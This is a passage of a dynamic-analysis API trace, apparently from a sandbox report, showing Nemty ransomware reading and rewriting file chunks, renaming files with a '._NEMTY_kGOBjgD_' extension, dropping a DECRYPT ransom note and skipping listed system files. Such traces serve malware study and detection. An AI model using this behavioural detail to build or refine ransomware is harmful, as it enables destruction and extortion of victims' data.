lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0143.684] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.684] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0143.684] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.684] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0143.693] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.693] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0143.693] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.693] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0143.702] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.702] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0143.702] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.702] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0143.714] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.714] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0143.714] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.714] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0143.723] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.724] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0143.724] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.724] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0143.733] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.733] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0143.733] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.733] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0143.742] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.742] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0143.742] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.742] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0143.751] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.751] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0143.751] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.751] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0143.760] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.760] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0143.760] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.760] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0143.775] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.775] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0143.775] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.775] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0143.781] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.781] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0143.781] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.781] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0143.787] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.787] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0143.787] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106162276, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.787] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63402a8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0143.787] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0143.787] CloseHandle (hObject=0xffffffff) returned 0 [0143.788] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340418 [0143.788] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0143.788] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0143.788] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0143.788] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0143.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0143.788] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404c0 [0143.788] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0143.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404c0 | out: hHeap=0x4f90000) returned 1 [0143.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0143.788] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js\\settings.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\js\\settings.js"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js\\settings.js._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\js\\settings.js._nemty_kgobjgd_")) returned 0 [0143.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0143.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340418 | out: hHeap=0x4f90000) returned 1 [0143.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0143.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402a8 | out: hHeap=0x4f90000) returned 1 [0143.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0143.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0143.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0143.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340158 | out: hHeap=0x4f90000) returned 1 [0143.788] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9357170, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x9357170, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x9357170, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0143.788] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0143.788] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0143.788] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0143.788] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0143.788] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0143.788] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0143.788] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0143.788] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0143.788] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0143.788] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0143.788] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0143.789] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0143.789] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0143.789] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0143.789] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0143.789] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0143.789] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0143.789] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0143.789] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0143.789] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0143.789] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0143.789] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0143.789] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0143.789] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0143.789] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0143.789] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0143.789] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0143.789] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0143.789] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0143.789] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0143.789] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0143.789] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0143.789] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0143.789] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0143.789] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0143.789] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0143.789] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0143.789] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0143.789] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0143.789] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0143.789] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0143.789] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0143.789] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0143.789] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63402a8 [0143.789] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340200 | out: hHeap=0x4f90000) returned 1 [0143.789] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0143.789] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0143.790] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9357170, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x9357170, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x9357170, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0143.790] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0143.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402a8 | out: hHeap=0x4f90000) returned 1 [0143.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0143.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0143.790] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x271c, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="RSSFeeds.html", cAlternateFileName="")) returned 1 [0143.790] lstrcmpiW (lpString1="RSSFeeds.html", lpString2=".") returned 1 [0143.790] lstrcmpiW (lpString1="RSSFeeds.html", lpString2="..") returned 1 [0143.790] lstrcmpiW (lpString1="RSSFeeds.html", lpString2="...") returned 1 [0143.790] lstrcmpiW (lpString1="RSSFeeds.html", lpString2="windows") returned -1 [0143.790] lstrcmpiW (lpString1="RSSFeeds.html", lpString2="$RECYCLE.BIN") returned 1 [0143.790] lstrcmpiW (lpString1="RSSFeeds.html", lpString2="rsa") returned 1 [0143.790] lstrcmpiW (lpString1="RSSFeeds.html", lpString2="NTDETECT.COM") returned 1 [0143.790] lstrcmpiW (lpString1="RSSFeeds.html", lpString2="ntldr") returned 1 [0143.790] lstrcmpiW (lpString1="RSSFeeds.html", lpString2="MSDOS.SYS") returned 1 [0143.790] lstrcmpiW (lpString1="RSSFeeds.html", lpString2="IO.SYS") returned 1 [0143.790] lstrcmpiW (lpString1="RSSFeeds.html", lpString2="boot.ini") returned 1 [0143.790] lstrcmpiW (lpString1="RSSFeeds.html", lpString2="boot.ini") returned 1 [0143.790] lstrcmpiW (lpString1="RSSFeeds.html", lpString2="AUTOEXEC.BAT") returned 1 [0143.790] lstrcmpiW (lpString1="RSSFeeds.html", lpString2="ntuser.dat") returned 1 [0143.790] lstrcmpiW (lpString1="RSSFeeds.html", lpString2="desktop.ini") returned 1 [0143.790] lstrcmpiW (lpString1="RSSFeeds.html", lpString2="CONFIG.SYS") returned 1 [0143.790] lstrcmpiW (lpString1="RSSFeeds.html", lpString2="RECYCLER") returned 1 [0143.790] lstrcmpiW (lpString1="RSSFeeds.html", lpString2="BOOTSECT.BAK") returned 1 [0143.790] lstrcmpiW (lpString1="RSSFeeds.html", lpString2="bootmgr") returned 1 [0143.790] lstrcmpiW (lpString1="RSSFeeds.html", lpString2="programdata") returned 1 [0143.790] lstrcmpiW (lpString1="RSSFeeds.html", lpString2="appdata") returned 1 [0143.790] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0143.790] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RSSFeeds.html", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0143.790] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RSSFeeds.html", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RSSFeeds.html", lpUsedDefaultChar=0x0) returned 13 [0143.790] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0143.790] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RSSFeeds.html", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0143.790] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RSSFeeds.html", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RSSFeeds.html", lpUsedDefaultChar=0x0) returned 13 [0143.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0143.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0143.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0143.791] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RSSFeeds.html", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0143.791] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RSSFeeds.html", cchWideChar=13, lpMultiByteStr=0x653ec20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RSSFeeds.html", lpUsedDefaultChar=0x0) returned 13 [0143.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0143.791] 